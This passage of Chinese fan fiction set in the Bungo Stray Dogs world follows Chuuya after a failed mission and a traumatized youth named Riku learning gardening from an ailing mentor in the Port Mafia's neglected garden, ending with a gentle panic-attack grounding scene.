“首领可以罚我,但青木……他是讲义气,而不是鲁莽报仇。”
“我没有责怪你的意思,起来吧,中也君。”
森鸥外的视线在中也的发旋上停了半秒
为手下开脱,把责任全揽到身上的习惯,还是和「羊之王」一样啊
“死者两名我会通知财务科拨抚恤金。”
森鸥外顿了顿,话锋一转
“中也君,我不是否认青木君重情重义的好品质,但这里是港口黑手党,‘感情’用事是比‘无能’更危险的毒药。”
他意有所指
“这一点,你应该比我更清楚。”
中也闷哼一声,眸中翻涌着痛苦的波涛。
但他只是低头沉声回应:“我明白了,首领。”
“明白就好。”
森鸥外又挂上了和煦的笑容
“说起来,太宰君呢?我记得这次任务是你们一起完成的吧?”
“他?”
说起那个不省心的搭档,中也的语气下意识粗鲁起来,
“被海滩上的碎石头绊了一跤,嚷嚷着要养伤就不见踪影了,大概又溜到哪里去偷懒了吧。”
“是吗,倒是很有他的风格。”
森鸥外并不意外,“那麻烦中也君,帮太宰君带句话了。”
他抬起眼,紫眸中闪烁着洞察一切的光
“伪装成石子的陷阱,偶尔也会绊倒自以为是的猎人,下次研读手册的时候,请务必多加小心。”
中也怔怔的望向首领,对方回以一个微笑
“就是这样了,去忙吧。”
“是,首领。”
中也微微颔首,沉默的退出首领办公室
门关上的前一秒,室内隐约传来少女的笑闹和男人宠溺的回应
“爱丽丝酱~”
森鸥外西子捧心,“在画什么呢~”
红裙少女翻了个白眼,举起画纸
在海边的黑色小人被绊倒,橙色小人站在岸上,口中喷出红色的火焰
两人背后站着一个紫色的,高大一些的火柴人,正笑看着两人
“画的真不错呢。”
森鸥外俯下身,手指点了点黑色小人脚下的一团,“这是什么?”
“林太郎大笨蛋!”
爱丽丝咯咯笑着,“是长了牙齿的石头哦!”
细看,黑色的阴影下,隐约能看到红色蜡笔涂鸦的牙齿
“不听话的孩子,是会被石头咬到的哦!”
8. 一口大锅从天降
--
灯熄了
中也保存好文档,靠进办公椅里。
准干部配给的办公室不小,却很空旷,只有一张办公桌,一张皮沙发,一个酒柜,桌上却乱七八糟堆满了文件,卷宗和几本专业书,贴着「港口黑手党宝石走私案内」的文件夹被压到了最底下,壳内隐约露出一角画着摔下大树的蛞蝓,署名「O.D」的便签。
一年前,他和太宰同时加入港口黑手党
一年后,太宰做了干部,办公室在他楼上
不止位置,如今连身高都压了他五公分
“混蛋。”
黑暗中响起一声低吼,那是中也愤怒的声音,
“早晚超过你。”
一定要把首领安排的宝石项目做好,比绷带混球之前做得更好。
但是——
中也捏着眉心叹气
那家伙的脑子,简直是为黑暗量身定做的
这一年组织地盘扩张迅猛,各种经济交易贸易往来明线暗线,七八成都是青花鱼谈下来的
他脑子里产出的各种主意全都变成了功绩
而那些功绩背后的鲜血人命,组织的元老人物都会为此心惊胆战
「天生的Mafia」
织田作之助对他的评价,分毫不差。
而自己呢
中也自嘲一声,目光落在桌下的保险柜上
偌大的柜子里,只放着一件东西
他下意识看向自己的右手腕,空空荡荡
一年了,他一次都没拿出来过
只是办公完,会偶尔盯着柜子发发呆。
一年前,绿色机车夹克,蓝色手环,在擂钵街的废墟间穿梭的,年轻又稚气的羊之王
一年后,就变成了穿着黑风衣,戴着黑礼帽的中原准干部
身份换了,立场换了,连服装都换了
但骨子里的东西,一点没换
「我想问问你,怎么才算做好组织里的老大?」
「老大就是要培养部下,将他们安排在合适的位置,并在必要的时候,将他们舍弃」
首领和太宰那家伙,都能做到把部下当棋子
但他做不到
一年后的准干部中原中也,依然会在枪林弹雨面前将所有部下护在身后。
他们不是棋子
他们是活生生的人
保护没有力量的同伴,是强者与生俱来的义务。
但今天
井山和佐藤倒下的身影,青木抱着机关枪声嘶力竭的面孔,在面前闪过
啧
中也猛地起身,椅子向后滑行了一段距离,哐当倒地
他走出办公室,按下了电梯
“即将到达B3层,地下训练场”
是他的失职
那就,用汗水加倍偿还
——
训练场的灯直到天明时分才熄灭
中也擦着头发走出大门,再次按下电梯
“即将抵达47层”
电梯门打开,他没有回办公室,而是从安全楼梯上到了48层。
推开小门,清风混杂着泥土的气息扑面而来。
中也眯起眼吸了一口,熟门熟路的走向亭子
原先的建筑垃圾都不见踪影,只有那块光滑的大石头还留在原地。
他坐下来,将礼帽放在石头上,手肘撑着膝盖
空旷,寂静,只有风声和自己的呼吸声。
中也抬起头,目光落在不远处的花坛上
堆满枯枝烂叶的垃圾池变成了铺满了黑肥土壤的,真正的花圃。
脚下的小径也被打扫干净,虽然石材依旧破损,但园艺科缺乏经费,能做到这一步已经很不容易。
他又看了眼小砖房斑驳的墙角
那里依次挂着水壶,扫帚,园艺剪,手套,抹布
所有工具都是双份,挂的整整齐齐。
中也想起听到的流言
园艺科七年第一次有了正式新人,还是个考试垫底,瘦的连花瓶都搬不动的吊车尾。
但现在看来——
“还不赖。”
他轻笑一声,
“比某些只会耍嘴皮子的废物强多了。”
天边逐渐泛起鱼肚白
晨晖下,泥土逐渐泛起柔和的光。
中也深吸一口气起身,鼻腔残留着泥土的清冽。
在那两人来之前,他得回到自己作为准干部的身份中去。
但是
小门关闭的瞬间,中也最后看了一眼沉睡的花园
光秃秃的花园,光秃秃的苗圃
但他却开始想象,未来那里开满了花的模样。
——
不对劲
璃久蹲在小砖房角落,墙角靠着一把小铲子
两把水壶,两块抹布,两副手套,两把扫帚,两副园艺剪
一把小铲子
铲柄是老旧暗淡的原木,但刃口却被打磨得寒光凛冽,锋利得能映出他探究的眼神。
璃久盯着这把铲子,陷入沉思。
这不是第一份匿名礼物
一周前开始,每天都会多出东西
有时是大石头上装着几颗种子的牛皮纸袋,有时是花圃边装在(或者说被倒进)普通喷瓶里的营养液,还有落在墙角的,假装被风吹来,实际恰好全部落在背风处的草籽,以及今天出现的小铲子
“早,望月。”
九点,小砖房的门被准时推开。
璃久朝男人点了点头算招呼,又看向那把小铲子
不是太宰——他能肯定
那家伙的恶作剧,一定会像之前的樱花糕一样,风格极尽繁复华丽夸张,生怕别人不知道是他做的,绝不会像现在这样,实用、质朴,甚至带着一种不愿打扰的体贴,将所有能追溯来源的线索(甚至包括营养液的原包装)都清理得干干净净。
“这次是………铲子?”
璃久点头
虽然从这些赠予品身上,他感受不到敌意,营养液也由男人确认过,绝对安全,种子也都是好养活的品种。
但贸然出现的事物,总是危险的
表面的无害,底下或许是更大的恶意
“看来,这片土地比我们更着急重生呢。”
男人的话让他一愣,眸中警惕变为了不知所措
“收下吧。”
远藤弯了弯眸,笑得像个孩子
“对这份纯粹的,来自土地的期盼,我们无权拒绝。”
璃久望着男人的背影,还是选择戴上手套,小心翼翼的拿起铲子
原木入手的触感温润的不可思议
工具能反应使用者的形象
显然,它的上一任主人和织田作一样,或许话不多,但坚韧可靠,细腻体贴
会是谁?又为什么要这么做?
这个问题在心头一闪而过,很快被璃久抛到脑后
“望月,看这里。”
他走到花圃边,随着男人手指的视线,看向花圃中星星点点,刚刚探出头的绿苗苗身上
“看这。”
远藤的声音还带着一丝蹲下后的气喘
“知道这儿有新家,迫不及待就来入住了。”
璃久歪了歪头
这些绿苗和他上次在花鸟市场看到的幼苗没什么区别
是花种发芽了?
“它们是杂草。”
男人的话打碎了璃久的幻想,但他没有用厌恶或批判的语气,仿佛只是在陈述客观事实
“杂草长得很快,很会抢夺养分和阳光。如果我们不管,很快这里就会被占满,我们想种的花就没地方生长了。”
说着,他找到一株杂草的根部,手指轻轻捏住,然后缓缓向上提。
“拔除它们,要像这样。”
“啵”,一条细长洁白的根须,被完整地从湿润的泥土中带了出来,没有断裂。
“要把根一起请走。”
男人将完整的杂草轻轻放在一旁的空地上,
“不然,过几天,它又会笑着冒出头来,仿佛在跟你打招呼呢。”
接着,他看向另一丛贴着墙角、开着微小黄花的植物。
“但这个,不一样。”
“这是酢浆草,看着不起眼,但它的根能固着土壤,小花也算可爱。只要它不长在我们预备好的苗床正中央,就可以留着它。”
酢浆草,璃久默默记下这个名字
这不是之前送来的种子,也不是他们自己找来的
大抵是被鸟儿或者风带来的,自然的馈赠吧
“打理花园,不是要消灭所有不是你种下去的东西。”
“你要学会分辨,哪些是必须清除的掠夺者,哪些是可以共生的邻居,哪些……甚至是能帮助这片土地的朋友。”
璃久默默听着男人的话
他低下头,看着自己戴着旧手套的双手
这双手,曾经只懂得击打人体的薄弱之处
不论对方高矮胖瘦,是男是女,来自何处
上了台,就是需要被摧毁的对手
但现在,它们需要学习如何分辨生命与生命之间的界限。
“来,你来试试。”
璃久俯下身,握住冒出泥土的一截草叶,用力往上一拽
“啪——”
草叶应声而断,小半截叶子还留在土里,根部更是没有半点儿动静。
“没关系。”
远藤右手试图覆上璃久戴着手套的手背,“我带你——”
他的指尖即将碰到的瞬间——
璃久的身体反应快得超出了思考。
左手猛地向后一抽
同时,左侧肩膀以一个微小而迅疾的弧度向内一拧
整个身体仿佛被一根无形的线牵引着,流畅无比地从蹲姿直接弹立而起。
重心在起身的瞬间已完成调整,稳稳落在双脚之间,一个能随时发力或后撤的完美平衡点上。
整个过程一气呵成,没有丝毫多余的晃动。
与方才拔草时的笨拙迟钝,割裂得如同两个人。
空气凝固了。
璃久死死地瞪着男人,眸子里翻涌着被触及底线后的惊惧与凶狠。
“抱歉。”
远藤的手停顿在半空,随后
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缓缓收回,脸上只有一如既往的平和,
“是我太心急了,吓到你了。”
他的目光掠过璃久那尚未完全松弛下来的站姿,没有探究,没有疑问
“我们再试一次。”
远藤双手捏住那小半截草叶,这次他的动作很慢,
“像是从土地深处,邀请它出来做客,不能心急,要沉下去,要稳,要让它自己愿意跟着你的手离开。”
他将连根带叶的杂草和第一株并排挨在一起,鼓励地看着璃久
“这次,忘掉你的手,用意念去‘感觉’到那条根。”
璃久深吸一口气,压抑住狂跳的心,重新蹲下身
他摇晃了一下,稳住下盘后再次伸出手
慢慢地、慢慢地施加力量。
终于——
“啵。”
一声轻响,一株根系完整的杂草被拔了出来。
因为刻意拉长,璃久的额角甚至逼出了一些细密的汗珠,配合着微微的喘息。
他捧着那株草,小心翼翼的看向男人
“很好,就是这样。”
远藤赞许点头,目光落在他手中完整的杂草上,眼神温和而包容
“你看,一旦你学会了如何’邀请’,土地是不会为难你的。”
璃久垂眸看着手中的草
碧绿的叶,嫩白的根须
不是血液的鲜红色
而是属于植物的,自然又宁静的颜色
原来他的手,除了摧毁,也能做到一些有益的事情
“来。”
远藤双手撑地,摇摇晃晃地起身
阳光下,他的面颊上满是汗水的晶莹,
“隔壁花圃,还有一些客人需要被请走呢。”
璃久点头,手撑着膝盖起身
下一秒,一股寒意窜上脊背
他猛地回头,看向背后的落地玻璃
没有别人,单面玻璃只能映出他自己的影子
但璃久能确定,有人,在看着他。
——
中原中也看了有一会儿了
从那个小鬼跟着男人走到花圃边开始,他就不由自主的被吸引了目光
越看,他眉头皱得越紧
不对劲
普通人拔草,会用手臂和腰背的蛮力,身体会不自觉地僵硬、前倾。
但那个小鬼的肩背在发力前有一种异常的松弛,所有的力量都沉在了腰胯以下
像一张引而不发的弓。
这种姿态,中也太熟悉了
这是顶尖格斗者才会拥有的核心稳定,是为了在发力瞬间爆发出最大力量,并能随时应对任何变故的本能准备。
然后,他看到了那笨拙的一拽,草叶应声而断。
“装得还挺像。”
中也嗤笑一声,声音在空荡的走廊里格外清晰。
一个真正体术差劲的人,连那种看似“笨拙”的发力,都不可能拥有如此稳定下沉的重心。
男人试图帮忙,而少年躲避的瞬间,中也猛的站直了身体,钴蓝色的眼睛里闪过锐利的光。
太快了。
那不是受惊的退缩,那是经过千锤百炼的战术规避动作。
抽手、拧肩、起身,三个动作在近乎同一时刻完成,流畅得像一道黑色的闪电
尤其是那肩膀的扭转,带动全身骨骼与肌肉协同发力的方式
高效、精准,没有丝毫多余的能量浪费。
这绝非一日之功,更不可能是入职报告上那个“近身格斗D-”的废物能做到的。
“呵……”
那个小鬼,在伪装自己。
怀着这样一身体术,却甘愿蛰伏在组织不为人知的边缘部门
窃取情报?卧底埋伏?
不对
一个拥有如此实力和心性的人,如果真有图谋,入职时就会选择一线部门,而不是在废墟里玩过家家,这不合常理。
中也盯着璃久的背影,少年手撑着膝盖起身,刻意晃动的身体让他忍不住笑出声。
下一秒,少年猛的回过头
他的目光冰冷、锐利,如同淬了冰的刀锋,穿透几米的距离和特殊的玻璃,直直撞了过来。
这小子,竟然能察觉到?
干部层,用的都是最高规格,不透光防弹防炮玻璃
他是怎么发现的?异能力,还是野兽般的直觉?
中也内心微震,目光却没偏移半分
他看着少年的瞳孔微微收缩,里面清晰地映出了惊愕,和骤然升起,却转瞬即逝的冷意。
但中也知道,不是错觉。
这个体型(看似)纤弱的少年,体内蛰伏着一头猛兽。
他缓缓后退一步,离开了玻璃前,掏出通讯器
“是我,现在把第十三批新人的入职成绩单,送到我办公室。”
离开前,中也深深看了眼少年的背影,后背隐隐作痛
那是一年前,被白濑用毒刀刺伤的地方。
他步伐不停,头也不回的离开了48层。
你可千万,别让我抓到把柄啊
园艺科的骗子小鬼。
9. 蓝天梦想进行曲
—
“璃久。”
“璃久,手。”
左手指腹一阵刺痛,血珠从小刀口里渗了出来。
但很快,疤痕就瞬间消失,伤口瞬间愈合,仿佛从未存在过。
璃久僵在原地,握住刀柄的手微微颤抖。
下午的那个人,是谁?
即使隔着玻璃,看不清脸
他也能感受到,那股居高临下的傲慢和审视
和那里的人,一模一样。
“呕——”
“璃久——”
胃部一阵痉挛,他忍不住躬身趴在水池边干呕起来,右手紧紧抓住了身后织田作之助的衣角
哐当一声,刀重重砸在地上,几乎擦着织田作的裤脚嵌入瓷砖
巨大的声响让店内几桌用餐的客人纷纷惊叫出声。
但两人毫发无伤
「天衣无缝」
织田作在璃久松手的瞬间,就将人拦腰抱离了危险区域。
“不舒服?”
他放松了力气,按在少年腹部的手有节奏的绕着圈。
老板迅速上前,捡起刀,又从冰柜里取出几碟小菜,带着爽朗的笑容端到客人桌前,几句调侃就让店内气氛瞬间恢复如常。
“呕…….”
璃久几乎把胃里的东西都吐了个干净,才虚脱的倚靠在料理台边。
“织田作…….”
他撑起身,眼睛死死的盯着水池。
身后一只手伸过来,打开了水龙头
水声填满了两人之间的沉默
直到水池被冲干净,水声停止,璃久虚弱的嗓音才重新响起。
“港口黑手党里,像太宰那样的人,多吗?”
盯着他的,也会是像太宰一样试图对他不利的人吗。
“也有。”
身后的声音平稳
“但像太宰那样的,不多。”
璃久绷紧的身子放松了些。
“明天我没有工作。”
腹部的手没有松开,温暖源源不断的传递过来
“要陪你一起去48楼吗。”
搭在料理台上的手猛的收紧
长达十几秒的沉默,只有璃久从齿关中泄露出,压抑的抽气声。
心口好热,眼角有点酸。
那一瞬间,他几乎就要投降了
“…….不用了。”
但脆弱只是一瞬间
嗓音干涩,璃久强迫自己撑起身子站直
“谢谢…….但我自己可以。”
他不敢抬头,只是盯着水池中自己扭曲的倒影。
他绝对不能把同为底层的织田作卷进来
哪怕自己受伤,甚至死了,都不可以。
捂在腹部的手安静的移开了。
织田作没有说好或不好,只是重新拿起台面上的刀
咔嚓,咔嚓
稳定平静的切菜声再次响起,夹杂着男人淡然的嘱咐
“嗯,别忘了回来吃晚餐。”
璃久偏过头,悄悄瞄了一眼织田作平静的侧颜,眉眼柔和下来。
“好。”
饭后,两人习惯性的踱步到后院
晚霞已经挂在天幕一角,隐约可见云层后的弦月。
“青辣椒,再过一个月就能成熟了。”
璃久顺着织田作的目光,看向樱花树下的十株辣椒
那是他和织田作在开春时亲手种下的第一批作物
“等到夏天,还可以种些番茄,或者薄荷。”
织田作蹲下身捏起一把土
土壤松软肥沃,和去年冬时的贫瘠冰冷完全不同
那是他和璃久一铲一铲拌肥翻土的成果
“老板说,可以考虑开发新的咖喱品种。”
“现在这样就很好。”璃久小声反驳。
“现在的菜品不会变。”
织田作张开手,任由土粒从掌心淅淅沥沥的落下
“但孩子们说,就算每三天轮换一次菜单,还是有些腻了。”
孩子们
璃久下意识绷紧了脊背
那瞬间,无数尖锐凄惨的哭喊声,和低沉的嗡鸣震动在耳边炸开。
他跌坐在土地上,紧紧的缩成一团。
织田作看着少年再次将脸埋入地内
他俯下身,轻轻的捂住了那双耳朵。
楼上,窗户推开了一条小小的缝隙,五张更稚嫩的脸探了出来。
幸助和克己看着楼下弓成一团的璃久哥哥,和捂住他耳朵的织田作,跃跃欲试的期待表情一点点褪去,最后只是默默的关上了窗户。
直到掌心下的颤抖逐渐平息,织田作才半抬起手
“璃久。”
很多话在喉头滚动
他想说,孩子们只是很想和你一起玩
但最终,他只是轻轻叫了一声少年的名字。
“冬天,要不要一起围着暖炉吃橘子。”
过了半分钟,掌心下的小耳朵才动了动。
“……..只和你吗?”
声音细弱,带着无法掩饰的恐惧
这个回答让织田作心下一沉
半年了,他还是不能接受和孩子们共处一室。
但他面色不显,呼吸也没有紊乱半分。
“嗯,可以只有我。”
“…….好。”
少年像终于终于获救似的,长长的吐出一口气
“——那我要最大的那个。”
“可以。”
夜幕完全降临,云层散去
织田作看了眼清澈的月亮,朝咖喱店的方向走去。
“一起回去吧,我先去和老板打声招呼。”
待男人完全消失在视线中,璃久才站起身
他侧头,瞥了眼二楼那扇紧闭的窗户。
背在身后的手猛的收紧,指甲深深嵌入掌心。
对不起
他在心中默念,巨大的愧疚几乎要将他压垮
我是个摧毁过别人的胆小鬼,对不起……..
——
次日,阳光透过湛蓝的天幕,暖融融的照在48楼花园上
一片明亮,却驱不散璃久心头的阴霾。
他握着那把“神秘之铲”,蹲在花圃边,看着男人手里的另一把手铲,头部成45度倾斜,无声没入黑土中
男人一脚轻轻踏在铲肩的宽面上,最后双手握住铲柄末端发力。
一块完整,湿润的土块应声翻面,露出下方颜色更深的土壤。
璃久的眼神飘忽,时不时瞥一眼身后走廊。
目前已经过去73分钟,无事发生。
直到新翻泥土的腥气钻入鼻腔,将他拽入温暖的回忆。
也是这样的清晨,穿着长袖T恤的织田作站在光秃秃的樱花树下,用一模一样的角度,将新买的腐殖土与原本的旧土拌匀,敲平。
那时的他,还只蹲在后院门廊上,看着那片土地在织田作的手下,从光秃秃的贫瘠变得平整,再慢慢有了错落有致的结构。
直到三周后,他趁着后院无人,才第一次走下门廊,一步步走到土地边
一股沁人心脾的腥味涌入鼻腔,瞬间洗去了残留在他鼻腔的血腥气。
他就在后院蹲了一天
直到傍晚,他第一次跟在织田作身后,笨拙的将小手铲压入土里。
那时织田作的手覆在他手背上,稳定而干燥,驱散了他所有的不安。
“撒进去就行。”
他没有撒,而是蹲下身,将织田作递来的辣椒种子,一颗颗珍重的放入挖好的浅坑。手掌拢过土壤,一点点把小坑压平。
像在埋葬不堪的过去,又像在种下一个平凡,对他而言却遥不可及的梦。
“咳咳。”
男人剧烈的咳嗽声,将他从回忆中猛的拽回
璃久看着男人颤抖着掏出磨损的黑色的小布袋,底部的破洞边缘隐隐露出一角白色。
吃药的间隔又缩短了。
璃久放下铲子,一声不吭跑到小砖房门边。
门虚掩着,他没有进去
只是抄起地上的小保温杯,递到男人手边。
他紧盯着泥土,余光看见男人的喉头滚动,听见艰难的吞咽和压抑的呛咳。
“谢谢…….”
璃久没有回应,只是重新抄起铲子。
铲刃45度精准压进土壤
翻面,再压,再翻面。
动作精准,但并不沉稳,而是带上了某种发泄的狠劲
翻起的土块大小不一,甚至被无意识的剁碎
他的呼吸加重,嘴唇抿紧,仿佛不是在翻土,而是在和看不见的敌人搏斗。
“望月。”
“望月!——”
远藤拔高了声音,璃久才猛的停手
脚下的土地已经被翻得乱七八糟,坑洼不平。
铲子无声坠地。
他一动不动,身体绷紧如弓,已经准备好面对男人的责备。
但远藤只是吃力地蹲下身,仿佛没看见那片狼藉。
他伸出枯瘦的手指,轻轻拂过一道被铲出的深沟边缘,让松散的土粒滑落回去。
“土地啊,是有生命的。”
他开口,声音沙哑却平稳
“它也会呼吸,会高兴,也会闹脾气。”
他的手指点在那片狼藉上。
“你刚才的动作,就像一场突如其来的暴雨,打得它有点疼,也有点不知所措了。”
璃久的嘴唇动了动,想说点什么,最终只是更低地垂下头。
“不过没关系,”
话锋一转
“暴雨过后,土地自己会慢慢抚平伤口。而且,被翻动过的地方,说不定……更适合新的种子扎根。”
他扶着膝盖,极其缓慢地站起身,发出一声压抑的低喘。
“人老了,蹲一会儿就腰疼。”
他像是自言自语,又像是对璃久解释,“望月,能帮我个忙吗?”
璃久立刻抬头,眼中带着询问。
远藤指了指璃久脚下的土地
“帮我把这里,重新整理平整,好吗?不用急,就像给受惊的孩子盖好被子一样,轻轻地把土抚平就好。”
璃久沉默着蹲下,用双手而不是铲子,将乱七八糟的土块轻轻推平、压实。
就像三个月前,在咖喱店后院时一样
他的动作停顿了一秒,视线掠过空荡荡的,独立的双手。
织田作…….不在。
现在,这里只有风,和男人压抑的呼吸声。
他指尖的动作顿了一下,随后更用力地把一处突起的土块压平
直到最后一道沟壑消失,他依然保持着蹲姿,看向自己刚刚抚平的土地,声音低得几乎听不见:
“……对不起。”
“该说谢谢的是我,望月。”
远藤摇了摇头,轻声说,“你帮我照顾了这片土地。”
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他抬头看了看天色,阳光已变得更加明亮。
“好了,让我们暂时忘记这里吧。”
远藤瞥了眼璃久——他又在偷瞄身后走廊了。
也是,人不是土地,一直呆在同一块地方,肯定会无聊。
“吃完饭,我们出去走走吧,这个季节,河边应该能找到一些愿意跟我们回来的花种。”
园艺科资源有限,经费更是没有,花种只能靠他们自己筹措。
远藤前几天去后勤科问了问,能不能要一些用不上的旧种子,但空手而归,也去过食堂后厨,那里只能给他们烂了的蔬果,至于大楼(其他的四栋)内的走廊,连片多余的叶子都看不见。
希望和新生,只能靠他们自己发掘,和大自然的馈赠了。
璃久站起身,他最后看了一眼那片仿佛什么也没发生过的土地,又看向男人
即使被多次拒绝,他的眼中依然闪烁着微弱的光。
「明年,要让新花都吃上好土」
他轻轻地点了点头
“好。”
——
午后
微风拂过草坡,带来湿润的水汽和青草的味道。
两人一前一后,在河堤上慢慢走着。
远藤走在前面,视线掠过脚边每一片草丛。
璃久跟在他身后两米,手里紧紧攥着那本《家庭园艺手册》
不是装在袋子里,而是直接拿着。
“看这里,望月。”
璃久犹豫了一下,快步走上前,蹲到男人身边。
面前是一丛即将枯萎的草,顶端挂着毛茸茸的、白色小球般的果实。
“要不要和它认识一下?”
瞥了眼男人含笑的眼睛,璃久低下头,有些笨拙地翻开手册。
书哗哗的翻着,最终停留在一幅蒲公英的插图上
他看看图片,又看看眼前的植物,确认结构相似度误差小于1%后看向男人。
“没错,这是蒲公英。”
远藤赞许点头
“它的种子,就藏在这些白色的小伞下面。风一吹,它们就出发去旅行了。”
他极其轻柔地摘下一颗小球,放进随身携带的纸袋里
“我们只带走几颗,够用就好,把剩下的,留给风和明年。”
明年
男人的侧脸在阳光直射下,竟浮现出一丝健康的红晕。
“还有这个,”
男人又指向一株穗子低垂、姿态优雅的野草
“这是狗尾草。它的种子就藏在这毛茸茸的穗子里。”
璃久立刻低头,快速地在手册里翻找起来。
他的指尖停在“狗尾草”的条目上。
“手册上说,”
璃久的声音几乎融在风里
“它的种子……需要搓下来。”
“对。”
远藤笑了,眼角的皱纹舒展开
“你来试试。”
璃久伸出手,看向在风中摇曳的,毛茸茸的狗尾巴草,动作停住了
这不止是毛茸茸的小植株,而是一个完整的、正在呼吸的生命结构。
而他的触碰,只会带来崩坏与毁灭。
“……会碎掉。”
璃久声音干涩,几乎是从喉咙里挤出来。
“它们啊,比我们想象的要坚强得多。”
远藤的指尖轻柔地拂过草穗。
一些成熟的种子,随着这恰到好处的力道,自然而然地脱落,掉进掌心。
整个过程中,草穗只是微微颔首,依旧完好地挺立着。
远藤翻转掌心——
“看,它们等待的,就是这样一次轻轻的告别。”
“我们不是在摧毁它们,是送行。送它们去完成生命里最重要的一次旅行。”
璃久全身一震,难以置信地看着那些停在手背上的小生命。
它们没有碎裂,没有消失,只是安静地待在那里。
“你看,”
远藤的声音柔和,如同河边的微风
“它们信任你。”
信任
十多年了,他第一次听见这个词被用在自己身上
璃久低着头,紧绷的肩膀一点点松弛下来。
那害怕自己会摧毁一切的恐惧,似乎在这微小又温暖的重量下,悄然散去了。
他最终放下书,将右手上的种子轻轻滑进小纸袋,又主动伸出手,用指尖最柔软的部分,拂过另一株狗尾草。
几十颗细小的、褐色的种子便落入了他的掌心。
他屏住呼吸,低头凝视着这些微小且沉重的颗粒。
一秒,两秒,什么都没有发生。
“它们很好找,”
远藤扶着膝盖起身,望着波光粼粼的河面
“不需要花钱买,也不需要去求谁,在路边的草丛里就能找到,但它们却很顽强,只要给一点泥土、阳光和水,明年,它们自己就能活出一片天地来。”
明年。
这个词再次落下。
璃久凝视着掌心的种子,又看向男人望着远方的,充满希冀的侧影。
他忽然明白了。
这不是一个虚无的承诺,而是男人在用他最后的时间,亲手将无数个“明年”,一颗一颗交到他手里
璃久慢慢合拢手掌,听着下方潺潺的流水声,将它们轻轻倒入纸袋
一阵风吹过,拂开了过长的刘海
也带来另一个熟悉又刺耳的声音———
10. 呼唤你的名字
——
“……身体放低!不是让你弯腰,是重心下沉!你这样直挺挺地站着,是生怕对方的子弹找不到你吗?”
河堤下的空地上,两名身着□□新人制服的少年相对而立
“对不起,青木哥……”
健太郎腿一软摔倒在地上,“我真的,做不到………”
青木,青木胜也
那个在报道日,试图通过揍他来立威的第一名。
但今天他的脸上没了那时的张扬,只有一种焦灼的,近乎绝望的严厉。
璃久捂住纸袋,半蹲在草丛后,看着下面的两人
两人
青木身边的高子和矮子呢?
“做不到?”
青木的声音陡然拔高,
“太郎和源他们倒是不用做到了!你难道忘了他们是怎么没的吗!”
“流弹……”健太郎剧烈的抖了一下
“对,流弹!”
青木哽咽着怒吼,“就那么‘嗖’的一下,人就没了!连敌人长什么样都没看清!在这里,死亡他妈的不讲道理!”
就那么“嗖”的一下,人就没了。
璃久攥着纸袋的手无意识地收紧。
和在那里不同
在这里,只要一枚铁片,就能摧毁生命
如此简单,如此……经济……
他忍不住低头,看向那攥着纸袋的,白皙纤细的手
那双手,五年内击碎过骨头,撕裂过皮肉,夺走过百条生命,也曾无数次皮开肉绽。
但此刻,上面没有任何伤疤,甚至连一道褶皱,一个茧子都找不到。
胃部一阵痉挛
璃久猛的移开视线,强迫自己移开注意力
他看向男人,后者正平静地眺望着河堤,背影佝偻。
“有时候,”
男人的声音很轻,像在自言自语,又像在对着风,对着水,默默的倾诉
“伤害的到来,是无声无息的。它不问你准备好了没有,也不管你是否站在最前线。”
他的目光似乎没有焦点,仿佛穿透了河堤,看到了很远的地方。
“就像有些‘病’,并非源于战斗。可能只是在错误的时间,完成了一项特殊的‘物资搬运’任务……”
他抬手,下意识想掏出那个黑布袋,却在半空中停住,转而按向左胸
掌心下的搏动,微弱且缓慢
仿佛风中之烛
“一年了,现在只有我一人,还留在这片‘战场’上……”
璃久怔怔的听着男人的话
物资搬运,靠止疼药无法治愈,全身扩散,只有我一人……
线索逐渐成型,以一种可怕和冰冷的方式
他不敢开口,更不敢求证,只能捂住痉挛的胃部。
天空在视线中逐渐上移,扭曲
“噗——”是膝盖砸在草地上的声音。
“望月!——”还有男人着急的低呼,夹杂着一连串的呛咳。
璃久单膝跪地,满头冷汗,他不得不用一只手撑住草地。
“深呼吸……坐下来吧,孩子,坐下来会好一点……”
他依言坐下,脸埋在膝盖间,任由浓稠的黑暗将他包裹
但视觉没了,听觉还在。
下方,凄厉的喊声孜孜不倦钻入耳膜。
“我们是四个人一起来的!现在,只有我们俩了……你到底明不明白……”
“青木哥!我明白的!你别哭了,我不会死的,你也不会死的!”
“我们一定能一起活下来的!”
这句话咬碎了璃久仅存的理智。
他再次看见了那张脸,那个笑容
那个被他亲手了结的,曾经约定好要一起逃出去看星星的,唯一的朋友……
「活下去……」
嗡——
蜂鸣炸开。
掌心下的青草,开始以一种诡异的速度疯长,瞬间没过他的手腕,又迅速枯黄,腐败。
纸袋化作簌簌飘落的纸屑,连同里面的种子一起,仿佛被瞬间抽干了所有生命力,湮灭成灰。
河面无风起浪,重重拍打着岸沿,周围的空气发出低沉的呜咽。
“怎么回事?!”
青木一把将健太郎死死护在身后,惊恐地环顾四周
“谁搞的鬼!出来啊!”
“望月!”
远藤没有先去查看环境的异变,而是伸出手,一把握住了璃久剧烈颤抖的左手腕。
“看着我,孩子。”
远藤的声音压得很低,却异常清晰,像锚一样钉入璃久混乱的意识,
“看着我,不要看别处。”
璃久涣散的目光艰难地聚焦在男人脸上。
“呼吸。”
远藤先深深地吸了一口气,再缓缓吐出,用呼吸的节奏引导着璃久,
“跟着我,吸气……呼气……慢慢来……”
与此同时,他的另一只手轻轻拂开璃久掌心那些枯死的草屑,又转过身,摘下身后一株狗尾巴草,坚定的塞进璃久手中
“感受它,”
他引导着璃久感知手心里这个具体而微小的存在,
“感受它的纹理,它的重量。它还存在着,很安静。”
狗尾草毛茸茸的触感从掌心传来,一点点替代了虚幻的,血色的杀戮记忆。
璃久的呼吸开始慢慢平息。
他像溺水者抓住浮木般,死死攥住了那株狗尾草,跟着男人的节奏,一下,一下地呼吸。
“1,2,3,4,……5,6,7……”
“13,14,16……17,18,19,20……”
19个数字,没有15
远藤注意到了,但他只是安静的陪着低声数数的少年,一点点脱离未知的风暴。
终于,风停了
河面恢复了平静,空气不再震动,仿佛刚才的波澜从未发生。
璃久手心里,被捏得有些变形的狗尾草穗,还残留着真实的触感。
他看着男人平和依旧的侧脸
没有算计,没有恶毒,没有惊恐,没有探究
心口热乎乎的
是一种在遇到织田作后,才体验过的,名为不过问,只接纳的安全感。
他低头看着曾让纸袋湮灭的手
声音很轻,却异常清晰:
“……远藤先生。”
男人正准备起身的动作顿住了。
那双总是带着疲态与温和的眼睛里,有什么东西微微亮了一下。
他看着眼前这个终于不再完全封闭起来的少年,嘴角勾起温暖的笑容。
“嗯,璃久。”
璃久。
不是“望月”,而是他的名字。
这个称呼,和织田作叫他的一样
